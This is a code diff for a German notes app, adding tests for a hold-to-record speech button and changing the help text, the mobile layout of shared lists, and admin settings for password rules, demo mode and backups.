|
||||
|
||||
afterEach(() => {
|
||||
vi.useRealTimers();
|
||||
delete (window as any).SpeechRecognition;
|
||||
delete (window as any).webkitSpeechRecognition;
|
||||
});
|
||||
|
||||
it('calls onTap on a short tap (< 350 ms)', () => {
|
||||
const onTap = vi.fn();
|
||||
const onTranscript = vi.fn();
|
||||
|
||||
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||
const btn = screen.getByRole('button', {
|
||||
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||
});
|
||||
|
||||
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||
act(() => {
|
||||
vi.advanceTimersByTime(150);
|
||||
});
|
||||
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||
fireEvent.click(btn);
|
||||
|
||||
expect(onTap).toHaveBeenCalledTimes(1);
|
||||
expect(onTranscript).not.toHaveBeenCalled();
|
||||
expect(FakeSpeechRecognition.instances).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('starts recording on hold (>= 350 ms) and calls onTranscript with recognized text on release', async () => {
|
||||
const onTap = vi.fn();
|
||||
const onTranscript = vi.fn().mockResolvedValue(undefined);
|
||||
|
||||
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||
const btn = screen.getByRole('button', {
|
||||
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||
});
|
||||
|
||||
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||
act(() => {
|
||||
vi.advanceTimersByTime(350);
|
||||
});
|
||||
|
||||
expect(FakeSpeechRecognition.instances).toHaveLength(1);
|
||||
const rec = FakeSpeechRecognition.instances[0];
|
||||
expect(rec.started).toBe(true);
|
||||
expect(rec.lang).toBe('de-DE');
|
||||
expect(rec.interimResults).toBe(true);
|
||||
expect(rec.continuous).toBe(true);
|
||||
expect(screen.getByText(/Ich höre zu… \(loslassen speichert\)/i)).toBeTruthy();
|
||||
|
||||
act(() => {
|
||||
rec.emitResult('Milch und Kaffee einkaufen');
|
||||
});
|
||||
expect(screen.getByText('Milch und Kaffee einkaufen')).toBeTruthy();
|
||||
|
||||
await act(async () => {
|
||||
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||
fireEvent.click(btn);
|
||||
});
|
||||
|
||||
expect(rec.stopped).toBe(true);
|
||||
expect(onTap).not.toHaveBeenCalled();
|
||||
expect(onTranscript).toHaveBeenCalledTimes(1);
|
||||
expect(onTranscript).toHaveBeenCalledWith('Milch und Kaffee einkaufen');
|
||||
expect(screen.getByRole('status').textContent).toContain('Im Quick Dump gespeichert');
|
||||
});
|
||||
|
||||
it('cancels recording when dragged up by more than 60 px and released', () => {
|
||||
const onTap = vi.fn();
|
||||
const onTranscript = vi.fn();
|
||||
|
||||
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||
const btn = screen.getByRole('button', {
|
||||
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||
});
|
||||
|
||||
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||
act(() => {
|
||||
vi.advanceTimersByTime(350);
|
||||
});
|
||||
|
||||
const rec = FakeSpeechRecognition.instances[0];
|
||||
act(() => {
|
||||
rec.emitResult('Verwerfen Test');
|
||||
});
|
||||
|
||||
// Drag up by 80px (> 60px threshold)
|
||||
fireEvent.pointerMove(btn, { clientY: 520 });
|
||||
expect(screen.getByText(/🗑️ Zum Abbrechen loslassen/i)).toBeTruthy();
|
||||
|
||||
fireEvent.pointerUp(btn, { clientY: 520 });
|
||||
|
||||
fireEvent.click(btn);
|
||||
|
||||
expect(rec.aborted).toBe(true);
|
||||
expect(onTap).not.toHaveBeenCalled();
|
||||
expect(onTranscript).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it('resumes normal recording if dragged above 60 px and then pulled back down before release', async () => {
|
||||
const onTap = vi.fn();
|
||||
const onTranscript = vi.fn().mockResolvedValue(undefined);
|
||||
|
||||
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||
const btn = screen.getByRole('button', {
|
||||
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||
});
|
||||
|
||||
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||
act(() => {
|
||||
vi.advanceTimersByTime(350);
|
||||
});
|
||||
|
||||
const rec = FakeSpeechRecognition.instances[0];
|
||||
act(() => {
|
||||
rec.emitResult('Doch behalten');
|
||||
});
|
||||
|
||||
// Drag up into cancel zone
|
||||
fireEvent.pointerMove(btn, { clientY: 510 });
|
||||
expect(screen.getByText(/🗑️ Zum Abbrechen loslassen/i)).toBeTruthy();
|
||||
|
||||
// Drag back down below threshold
|
||||
fireEvent.pointerMove(btn, { clientY: 580 });
|
||||
expect(screen.getByText(/Ich höre zu… \(loslassen speichert\)/i)).toBeTruthy();
|
||||
|
||||
await act(async () => {
|
||||
fireEvent.pointerUp(btn, { clientY: 580 });
|
||||
fireEvent.click(btn);
|
||||
});
|
||||
|
||||
expect(rec.aborted).toBe(false);
|
||||
expect(onTranscript).toHaveBeenCalledWith('Doch behalten');
|
||||
});
|
||||
|
||||
it('shows "Nichts erkannt" and does not save when transcript is empty', async () => {
|
||||
const onTap = vi.fn();
|
||||
const onTranscript = vi.fn();
|
||||
|
||||
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||
const btn = screen.getByRole('button', {
|
||||
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||
});
|
||||
|
||||
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||
act(() => {
|
||||
vi.advanceTimersByTime(350);
|
||||
});
|
||||
await act(async () => {
|
||||
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||
fireEvent.click(btn);
|
||||
});
|
||||
|
||||
expect(onTap).not.toHaveBeenCalled();
|
||||
expect(onTranscript).not.toHaveBeenCalled();
|
||||
expect(screen.getByRole('status').textContent).toContain('Nichts erkannt');
|
||||
});
|
||||
|
||||
it('falls back to onTap and shows message when microphone permission is denied', () => {
|
||||
const onTap = vi.fn();
|
||||
const onTranscript = vi.fn();
|
||||
|
||||
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||
const btn = screen.getByRole('button', {
|
||||
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||
});
|
||||
|
||||
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||
act(() => {
|
||||
vi.advanceTimersByTime(350);
|
||||
});
|
||||
|
||||
const rec = FakeSpeechRecognition.instances[0];
|
||||
act(() => {
|
||||
rec.emitError('not-allowed');
|
||||
});
|
||||
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||
fireEvent.click(btn);
|
||||
|
||||
expect(onTap).toHaveBeenCalledTimes(1);
|
||||
expect(onTranscript).not.toHaveBeenCalled();
|
||||
expect(screen.getByRole('status').textContent).toContain('Mikrofon nicht freigegeben');
|
||||
});
|
||||
|
||||
it('falls back to onTap and shows a status message when SpeechRecognition is unsupported', () => {
|
||||
delete (window as any).SpeechRecognition;
|
||||
delete (window as any).webkitSpeechRecognition;
|
||||
|
||||
const onTap = vi.fn();
|
||||
const onTranscript = vi.fn();
|
||||
|
||||
render(<HoldToRecordFab onTap={onTap} onTranscript={onTranscript} />);
|
||||
const btn = screen.getByRole('button', {
|
||||
name: /Schnell erfassen – tippen zum Schreiben, gedrückt halten zum Sprechen/i,
|
||||
});
|
||||
|
||||
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||
act(() => {
|
||||
vi.advanceTimersByTime(350);
|
||||
});
|
||||
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||
fireEvent.click(btn);
|
||||
|
||||
expect(onTap).toHaveBeenCalledTimes(1);
|
||||
expect(onTranscript).not.toHaveBeenCalled();
|
||||
expect(screen.getByRole('status').textContent).toContain(
|
||||
'Spracheingabe wird von diesem Browser nicht unterstützt'
|
||||
);
|
||||
});
|
||||
});
|
||||
|
||||
describe('HoldToRecordFab tap timing', () => {
|
||||
it('opens only on the click after the release, so that click cannot close the new sheet', () => {
|
||||
const onTap = vi.fn();
|
||||
render(<HoldToRecordFab onTap={onTap} onTranscript={vi.fn()} />);
|
||||
const btn = screen.getByRole('button');
|
||||
fireEvent.pointerDown(btn, { clientY: 600, button: 0 });
|
||||
fireEvent.pointerUp(btn, { clientY: 600 });
|
||||
expect(onTap).not.toHaveBeenCalled();
|
||||
fireEvent.click(btn);
|
||||
expect(onTap).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
});
|
||||
|
||||
describe('HoldToRecordFab keyboard access', () => {
|
||||
it('opens the capture sheet when activated without a pointer (keyboard, screen reader)', () => {
|
||||
const onTap = vi.fn();
|
||||
const { getByRole } = render(<HoldToRecordFab onTap={onTap} onTranscript={vi.fn()} />);
|
||||
fireEvent.click(getByRole('button'), { detail: 0 });
|
||||
expect(onTap).toHaveBeenCalledTimes(1);
|
||||
});
|
||||
});
|
||||
@@ -6,7 +6,6 @@ import {
|
||||
CheckSquare,
|
||||
Keyboard,
|
||||
Pin,
|
||||
FolderTree,
|
||||
Sparkles,
|
||||
Command,
|
||||
Users,
|
||||
@@ -19,14 +18,10 @@ import {
|
||||
Lock,
|
||||
ArrowLeft,
|
||||
X,
|
||||
Smartphone,
|
||||
RotateCcw,
|
||||
Heading1,
|
||||
ListTodo,
|
||||
Code,
|
||||
Download,
|
||||
Flame,
|
||||
Check,
|
||||
} from 'lucide-react';
|
||||
import { AboutModal } from '../../components/AboutModal';
|
||||
|
||||
@@ -413,7 +408,7 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
|
||||
<strong className="text-main">Sofortiger Fokus:</strong> Drücke irgendwo in der App <kbd className="px-1.5 py-0.5 bg-panel border border-border rounded font-mono text-[11px] text-accent">C</kbd> oder <kbd className="px-1.5 py-0.5 bg-panel border border-border rounded font-mono text-[11px] text-accent">/</kbd> (sofern du nicht bereits in einem Textfeld tippst).
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-main">Sprach-Diktat:</strong> Klicke auf das Mikrofon-Symbol (<Mic className="w-3.5 h-3.5 inline text-accent" />) für kontinuierliche Spracheingabe über die Web Speech API. Gesprochene Gedanken werden automatisch mit dem Tag <code className="text-accent font-mono">#diktat</code> versehen.
|
||||
<strong className="text-main">Sprach-Diktat:</strong> Klicke auf das Mikrofon-Symbol (<Mic className="w-3.5 h-3.5 inline text-accent" />) für kontinuierliche Spracheingabe über die Web Speech API. Gesprochene Gedanken werden automatisch mit dem Tag <code className="text-accent font-mono">#diktat</code> versehen. Auf dem Smartphone kannst du außerdem den runden <strong className="text-main">+</strong>-Button in der unteren Leiste gedrückt halten, um direkt einzusprechen – beim Loslassen landet der Text sofort im Posteingang (nach oben ziehen bricht ab).
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-main">Ziel-Auswahl:</strong> Gedanken landen standardmäßig im Posteingang. Über die Optionen kannst du sie jedoch sofort als <strong className="text-main">Aufgabe</strong> (mit Priorität und Fälligkeit), <strong className="text-main">Listeneintrag</strong> (z.B. auf die Einkaufsliste) oder <strong className="text-main">neue Notiz</strong> routen.
|
||||
@@ -488,7 +483,10 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
|
||||
content: (
|
||||
<div className="space-y-2 text-muted leading-relaxed">
|
||||
<p>
|
||||
Unter <em className="text-main">Benutzereinstellungen → Webhooks & API</em> kannst du persönliche API-Schlüssel generieren.
|
||||
Unter <em className="text-main">Kontoeinstellungen → Private Webhooks & Export</em> kannst du persönliche API-Schlüssel erzeugen. Pro Schlüssel legst du fest, was er einliefern darf: Gedanken in die Inbox, Aufgaben direkt oder Einträge in Listen. Lesen kann ein Schlüssel nie.
|
||||
</p>
|
||||
<p>
|
||||
Mit dem Feld <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">"target"</code> wählst du das Ziel: <code className="font-mono">triage</code> (Standard), <code className="font-mono">task</code> (optional mit <code className="font-mono">taskListId</code>) oder <code className="font-mono">list_item</code> (mit <code className="font-mono">listId</code>). Der Simulator in den Einstellungen zeigt passende Beispiele.
|
||||
</p>
|
||||
<p>
|
||||
Über den Endpunkt <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">POST /api/v1/webhooks/ingest</code> kannst du Gedanken aus iOS-Kurzbefehlen, Smart-Home-Systemen oder Drittanwendungen einspeisen. Sie werden automatisch mit dem Tag <code className="text-accent font-mono">#webhook</code> markiert.
|
||||
@@ -632,6 +630,9 @@ export const HelpView: React.FC<HelpViewProps> = ({ onBack }) => {
|
||||
<li>
|
||||
<strong className="text-main">Eigenes Theme:</strong> Vorlage herunterladen oder einfügen, Farben und Rundungen anpassen, als <code className="text-accent bg-panel px-1 py-0.5 rounded font-mono">.css</code>-Datei hochladen oder einfügen und „Speichern & aktivieren“. Das Theme greift sofort und steht dir auf allen Geräten zur Verfügung.
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-main">Server-Backups:</strong> Hat die Administration automatische Backups eingeschaltet, findest du unter <em>Kontoeinstellungen → Private Webhooks & Export</em> die täglichen Sicherungen deiner Daten. Du kannst sie herunterladen oder wieder einspielen, auch nur für einzelne Bereiche wie Listen oder Aufgaben.
|
||||
</li>
|
||||
<li>
|
||||
<strong className="text-main">Ohne Internet:</strong> Als App installiert (oder im Browser) startet MindSift auch offline mit dem zuletzt geladenen Stand. Gedanken erfassen sowie Aufgaben und Listeneinträge abhaken geht weiter; ein Hinweis unten zeigt, wie viele Änderungen warten, und sie werden automatisch übertragen, sobald die Verbindung zurück ist.
|
||||
</li>
|
||||
|
||||
@@ -7,11 +7,10 @@ import {
|
||||
Radio,
|
||||
Sparkles,
|
||||
X,
|
||||
Hash,
|
||||
ShoppingCart,
|
||||
} from 'lucide-react';
|
||||
import { ListItem, SharedList, ListShare, Team, User, WSMessage } from '../../lib/types';
|
||||
import { api, buildWebSocketURL, triggerHaptic, createRealtimeConnection, RealtimeTransport } from '../../lib/api';
|
||||
import { ListItem, SharedList, Team, User, WSMessage } from '../../lib/types';
|
||||
import { api, triggerHaptic, createRealtimeConnection, RealtimeTransport } from '../../lib/api';
|
||||
import { UnifiedShareModal } from '../../components/UnifiedShareModal';
|
||||
import { AvatarStack, AvatarPerson } from '../../components/AvatarStack';
|
||||
import { CountBadge } from '../../components/CountBadge';
|
||||
@@ -357,6 +356,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
||||
)
|
||||
);
|
||||
await api.deleteListItem(activeList.id, itemId);
|
||||
onRefreshGlobal();
|
||||
};
|
||||
|
||||
const handleClearCompleted = async () => {
|
||||
@@ -501,7 +501,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
||||
if (!sourceItem) return;
|
||||
|
||||
const targetCatNormalized = targetCategory.trim();
|
||||
let newCategory = targetCatNormalized;
|
||||
const newCategory = targetCatNormalized;
|
||||
let newContent = sourceItem.content;
|
||||
|
||||
if (!targetCatNormalized) {
|
||||
@@ -766,13 +766,16 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
||||
return result;
|
||||
}, [openItems]);
|
||||
|
||||
const focusNewItemInput = () => {
|
||||
inputRef.current?.focus({ preventScroll: true });
|
||||
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
||||
};
|
||||
|
||||
// Register context-sensitive mobile menu groups behind the MindSift logo
|
||||
useEffect(() => {
|
||||
setPrimaryAction(() => {
|
||||
setTimeout(() => {
|
||||
inputRef.current?.focus();
|
||||
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
||||
}, 60);
|
||||
// Focus right inside the tap: iOS only opens the keyboard for focus() during the user gesture
|
||||
focusNewItemInput();
|
||||
});
|
||||
|
||||
setGroups([
|
||||
@@ -786,10 +789,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
||||
icon: <Plus className="w-4 h-4 text-accent" />,
|
||||
variant: 'accent',
|
||||
onClick: () => {
|
||||
setTimeout(() => {
|
||||
inputRef.current?.focus();
|
||||
inputRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' });
|
||||
}, 60);
|
||||
focusNewItemInput();
|
||||
},
|
||||
},
|
||||
{
|
||||
@@ -871,9 +871,9 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
||||
>
|
||||
<span>{lst.icon}</span>
|
||||
{/* Counter on the label, like in the nav bar */}
|
||||
<span className={`relative inline-flex items-center ${openCount > 0 ? 'pr-2' : ''}`}>
|
||||
<span className={`relative inline-flex items-center ${openCount > 0 ? 'pr-3' : ''}`}>
|
||||
{lst.title}
|
||||
<CountBadge count={openCount} position="corner" className="-top-1.5 -right-1" />
|
||||
<CountBadge count={openCount} position="corner" className="-top-0.5 -right-2" />
|
||||
</span>
|
||||
<AvatarStack
|
||||
people={otherMembers(lst)}
|
||||
@@ -1081,7 +1081,8 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
||||
setTimeout(() => setShowSuggestions(false), 200);
|
||||
}}
|
||||
placeholder={`Eintrag zu "${activeList.title}" hinzufügen (z. B. Hafermilch #Kühlregal)…`}
|
||||
className="flex-1 bg-transparent py-1.5 sm:py-1 text-sm text-main placeholder-faint focus:outline-none"
|
||||
// 16px on phones: iOS zooms into smaller fields and the layout jumps under the keyboard
|
||||
className="flex-1 bg-transparent py-1.5 sm:py-1 text-base sm:text-sm text-main placeholder-faint focus:outline-none"
|
||||
/>
|
||||
|
||||
{/* Hashtag Autocomplete Suggestions Dropdown */}
|
||||
@@ -1122,10 +1123,11 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
||||
<div className="flex items-center gap-1.5 w-full sm:w-auto justify-end px-1 sm:px-0">
|
||||
<input
|
||||
type="text"
|
||||
inputMode="decimal"
|
||||
value={newItemQty}
|
||||
onChange={(e) => setNewItemQty(e.target.value.replace(/[^0-9.,xX]/g, ''))}
|
||||
placeholder="Menge (z.B. 2)"
|
||||
className="flex-1 sm:flex-none sm:w-28 h-9 sm:h-7 px-2.5 sm:px-2 input-field text-xs"
|
||||
className="flex-1 sm:flex-none sm:w-28 h-11 sm:h-7 px-2.5 sm:px-2 input-field text-base sm:text-xs"
|
||||
/>
|
||||
<button
|
||||
type="submit"
|
||||
@@ -1252,7 +1254,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
||||
onBlur={async () => {
|
||||
await handleSaveQuantity(item.id, editingQtyValue);
|
||||
}}
|
||||
className="w-16 h-6 px-1.5 text-xs input-field font-semibold text-accent text-center"
|
||||
className="w-16 h-8 sm:h-6 px-1.5 text-base sm:text-xs input-field font-semibold text-accent text-center"
|
||||
placeholder="Menge"
|
||||
/>
|
||||
</div>
|
||||
@@ -1366,7 +1368,7 @@ export const SharedListsView: React.FC<SharedListsViewProps> = ({ onRefreshGloba
|
||||
onBlur={async () => {
|
||||
await handleSaveQuantity(item.id, editingQtyValue);
|
||||
}}
|
||||
className="w-16 h-6 px-1.5 text-xs input-field font-semibold text-accent text-center"
|
||||
className="w-16 h-8 sm:h-6 px-1.5 text-base sm:text-xs input-field font-semibold text-accent text-center"
|
||||
placeholder="Menge"
|
||||
/>
|
||||
</div>
|
||||
|
||||
@@ -25,8 +25,10 @@ import {
|
||||
UserRole,
|
||||
} from '../../lib/types';
|
||||
import { api, setCurrentSharingMode, triggerHaptic } from '../../lib/api';
|
||||
import { passwordProblem } from '../../lib/password';
|
||||
import { UserAvatar } from '../../components/UserAvatar';
|
||||
import { ToggleSwitch } from '../../components/ToggleSwitch';
|
||||
import { BackupAdminCard } from './BackupAdminCard';
|
||||
import { CountBadge } from '../../components/CountBadge';
|
||||
|
||||
interface AdminSettingsViewProps {
|
||||
@@ -134,6 +136,9 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
smtpSkipVerify: Boolean(sys.smtpSkipVerify),
|
||||
allowPrivateWebhooks: Boolean(sys.allowPrivateWebhooks),
|
||||
smtpConfiguredViaEnv: Boolean(sys.smtpConfiguredViaEnv),
|
||||
backupEnabled: Boolean(sys.backupEnabled),
|
||||
backupTime: sys.backupTime || '03:00',
|
||||
backupRetentionDays: sys.backupRetentionDays || 3,
|
||||
});
|
||||
}
|
||||
} catch (err: any) {
|
||||
@@ -141,8 +146,14 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
}
|
||||
};
|
||||
|
||||
// Read-only in the public demo (FLAW-33)
|
||||
const [demoMode, setDemoMode] = useState(false);
|
||||
useEffect(() => {
|
||||
loadAll();
|
||||
api
|
||||
.getAuthStatus()
|
||||
.then((st) => setDemoMode(Boolean(st.demoMode)))
|
||||
.catch(() => {});
|
||||
}, []);
|
||||
|
||||
// ============================================================================
|
||||
@@ -151,6 +162,11 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
const handleCreateUser = async (e: React.FormEvent) => {
|
||||
e.preventDefault();
|
||||
setStatusMsg(null);
|
||||
const problem = passwordProblem(newUserPassword);
|
||||
if (problem) {
|
||||
setStatusMsg({ type: 'err', text: problem });
|
||||
return;
|
||||
}
|
||||
triggerHaptic(15);
|
||||
try {
|
||||
const created = await api.adminCreateUser({
|
||||
@@ -235,8 +251,14 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
const handleConfirmResetPassword = async (userId: string) => {
|
||||
if (!resetPwdVal.trim()) return;
|
||||
setStatusMsg(null);
|
||||
const problem = passwordProblem(resetPwdVal);
|
||||
if (problem) {
|
||||
setStatusMsg({ type: 'err', text: problem });
|
||||
return;
|
||||
}
|
||||
try {
|
||||
await api.adminResetPassword(userId, resetPwdVal.trim());
|
||||
// Not trimmed: login compares the password exactly as typed
|
||||
await api.adminResetPassword(userId, resetPwdVal);
|
||||
setResetPwdUserId(null);
|
||||
setResetPwdVal('');
|
||||
setStatusMsg({ type: 'ok', text: 'Passwort erfolgreich zurückgesetzt.' });
|
||||
@@ -503,6 +525,15 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
|
||||
{/* Right Content Area */}
|
||||
<div className="md:col-span-3 panel-surface p-5 text-xs">
|
||||
{demoMode && (
|
||||
<div className="flex items-center gap-2 alert-err mb-4">
|
||||
<AlertCircle className="w-4 h-4 text-status-err flex-shrink-0" />
|
||||
<span>
|
||||
In der Demo deaktiviert: Server-Einstellungen, E-Mail und Konten lassen sich hier nur
|
||||
ansehen.
|
||||
</span>
|
||||
</div>
|
||||
)}
|
||||
{/* ================================================================= */}
|
||||
{/* SECTION 1: BENUTZER, ROLLEN & EINLADUNGEN */}
|
||||
{/* ================================================================= */}
|
||||
@@ -555,8 +586,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
type="password"
|
||||
value={newUserPassword}
|
||||
onChange={(e) => setNewUserPassword(e.target.value)}
|
||||
placeholder="Mind. 4 Zeichen"
|
||||
minLength={4}
|
||||
placeholder="Mind. 8 Zeichen"
|
||||
required
|
||||
className="w-full min-w-0 h-8 px-2.5 input-field"
|
||||
/>
|
||||
@@ -843,7 +873,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
type="password"
|
||||
value={resetPwdVal}
|
||||
onChange={(e) => setResetPwdVal(e.target.value)}
|
||||
placeholder="Neues Passwort eingeben…"
|
||||
placeholder="Neues Passwort (mind. 8 Zeichen)…"
|
||||
className="flex-1 h-7 px-2 input-field"
|
||||
/>
|
||||
<button
|
||||
@@ -998,298 +1028,305 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
|
||||
{/* SECTION 3: SERVER & SHARING-ISOLATION (SERVER-ADMIN ONLY) */}
|
||||
{/* ================================================================= */}
|
||||
{section === 'server' && isServerAdmin && (
|
||||
<div className="space-y-6">
|
||||
<div className="border-b border-border pb-3">
|
||||
<h2 className="text-sm font-bold text-main">
|
||||
Server-Grundeinstellungen & Benutzer-Sichtbarkeit
|
||||
</h2>
|
||||
<p className="text-muted mt-0.5">
|
||||
Als Server-Admin bestimmst du zentral, ob Nutzer komplett isoliert arbeiten, sich nur
|
||||
innerhalb ihrer Organisation sehen oder ob alle Nutzer für alle sichtbar sind.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div className="space-y-4">
|
||||
<div>
|
||||
<label className="block text-muted font-semibold mb-1">
|
||||
Name der MindSift-Instanz
|
||||
</label>
|
||||
<div className="flex gap-2 max-w-md">
|
||||
<input
|
||||
type="text"
|
||||
value={settings.instanceName}
|
||||
onChange={(e) =>
|
||||
setSettings((prev) => ({ ...prev, instanceName: e.target.value }))
|
||||
}
|
||||
className="flex-1 h-9 px-3 input-field"
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
onClick={() => handleSaveSystemSettings()}
|
||||
className="btn-primary h-9 px-4 text-xs"
|
||||
>
|
||||
Speichern
|
||||
</button>
|
||||
</div>
|
||||
<fieldset disabled={demoMode} className="min-w-0 border-0 p-0 m-0">
|
||||
<div className="space-y-6">
|
||||
<div className="border-b border-border pb-3">
|
||||
<h2 className="text-sm font-bold text-main">
|
||||
Server-Grundeinstellungen & Benutzer-Sichtbarkeit
|
||||
</h2>
|
||||
<p className="text-muted mt-0.5">
|
||||
Als Server-Admin bestimmst du zentral, ob Nutzer komplett isoliert arbeiten, sich nur
|
||||
innerhalb ihrer Organisation sehen oder ob alle Nutzer für alle sichtbar sind.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Sharing Isolation Cards */}
|
||||
<div className="space-y-2">
|
||||
<label className="block text-muted font-semibold flex items-center gap-1.5">
|
||||
<Users className="w-4 h-4 text-accent" />
|
||||
<span>Globale Sharing- & Sichtbarkeits-Isolation</span>
|
||||
</label>
|
||||
|
||||
<div className="grid grid-cols-1 sm:grid-cols-3 gap-3">
|
||||
{SHARING_MODES.map((m) => (
|
||||
<div className="space-y-4">
|
||||
<div>
|
||||
<label className="block text-muted font-semibold mb-1">
|
||||
Name der MindSift-Instanz
|
||||
</label>
|
||||
<div className="flex gap-2 max-w-md">
|
||||
<input
|
||||
type="text"
|
||||
value={settings.instanceName}
|
||||
onChange={(e) =>
|
||||
setSettings((prev) => ({ ...prev, instanceName: e.target.value }))
|
||||
}
|
||||
className="flex-1 h-9 px-3 input-field"
|
||||
/>
|
||||
<button
|
||||
key={m.id}
|
||||
type="button"
|
||||
onClick={() => handleSelectSharingMode(m.id)}
|
||||
className={`p-4 text-left border rounded-card transition-colors ${
|
||||
settings.sharingMode === m.id
|
||||
? 'bg-canvas border-accent text-main shadow-panel'
|
||||
: 'bg-canvas/50 border-border text-muted hover:text-main'
|
||||
}`}
|
||||
onClick={() => handleSaveSystemSettings()}
|
||||
className="btn-primary h-9 px-4 text-xs"
|
||||
>
|
||||
<p className="font-bold text-xs text-main">{m.title}</p>
|
||||
<p className="text-[11px] text-muted mt-1 leading-relaxed">{m.text}</p>
|
||||
</button>
|
||||
))}
|
||||
</div>
|
||||
|
||||
{pendingMode && (
|
||||
<div className="p-3 border border-status-warn/40 bg-status-warn/5 rounded-card flex flex-wrap items-center gap-2">
|
||||
<AlertCircle className="w-4 h-4 text-status-warn shrink-0" />
|
||||
<span className="flex-1 min-w-0 text-main">
|
||||
Beim Wechsel zu „{SHARING_MODES.find((m) => m.id === pendingMode.mode)?.title.replace(/^\d\.\s*/, '')}“
|
||||
fallen {pendingMode.affected} Freigaben und Gruppen-Mitgliedschaften weg, die danach nicht mehr erlaubt sind.
|
||||
</span>
|
||||
<button
|
||||
onClick={() => {
|
||||
const mode = pendingMode.mode;
|
||||
setPendingMode(null);
|
||||
handleSaveSystemSettings({ sharingMode: mode });
|
||||
}}
|
||||
className="btn-primary h-7 px-3 text-[11px]"
|
||||
>
|
||||
Trotzdem wechseln
|
||||
</button>
|
||||
<button onClick={() => setPendingMode(null)} className="btn-action h-7 px-2 text-[11px]">
|
||||
Abbrechen
|
||||
Speichern
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{/* Alarm webhooks into the local network (SSRF protection) */}
|
||||
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
|
||||
<div className="pr-4">
|
||||
<p className="font-bold text-main">Alarm-Webhooks ins lokale Netz erlauben</p>
|
||||
<p className="text-[11px] text-muted mt-0.5">
|
||||
Standard: Discord- und Webhook-Alarme gehen nur an öffentliche https-Adressen. Eingeschaltet sind auch Ziele
|
||||
im Heimnetz erlaubt (z. B. Home Assistant unter 192.168.x.x oder über Tailscale), dort auch per http.
|
||||
Der Server selbst (localhost) und Cloud-Metadaten bleiben immer gesperrt.
|
||||
</p>
|
||||
</div>
|
||||
<ToggleSwitch
|
||||
checked={Boolean(settings.allowPrivateWebhooks)}
|
||||
onChange={(allowPrivateWebhooks) => handleSaveSystemSettings({ allowPrivateWebhooks })}
|
||||
/>
|
||||
</div>
|
||||
|
||||
{/* Public Registration Toggle Switch */}
|
||||
<div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
|
||||
<div className="pr-4">
|
||||
<p className="font-bold text-main">Öffentliche Selbstregistrierung erlauben</p>
|
||||
<p className="text-[11px] text-muted mt-0.5">
|
||||
Wenn deaktiviert, können sich fremde Personen auf dem Login-Bildschirm nicht selbst registrieren.
|
||||
Neue Konten erfordern dann zwingend einen Einladungscode oder müssen von einem Admin angelegt werden.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
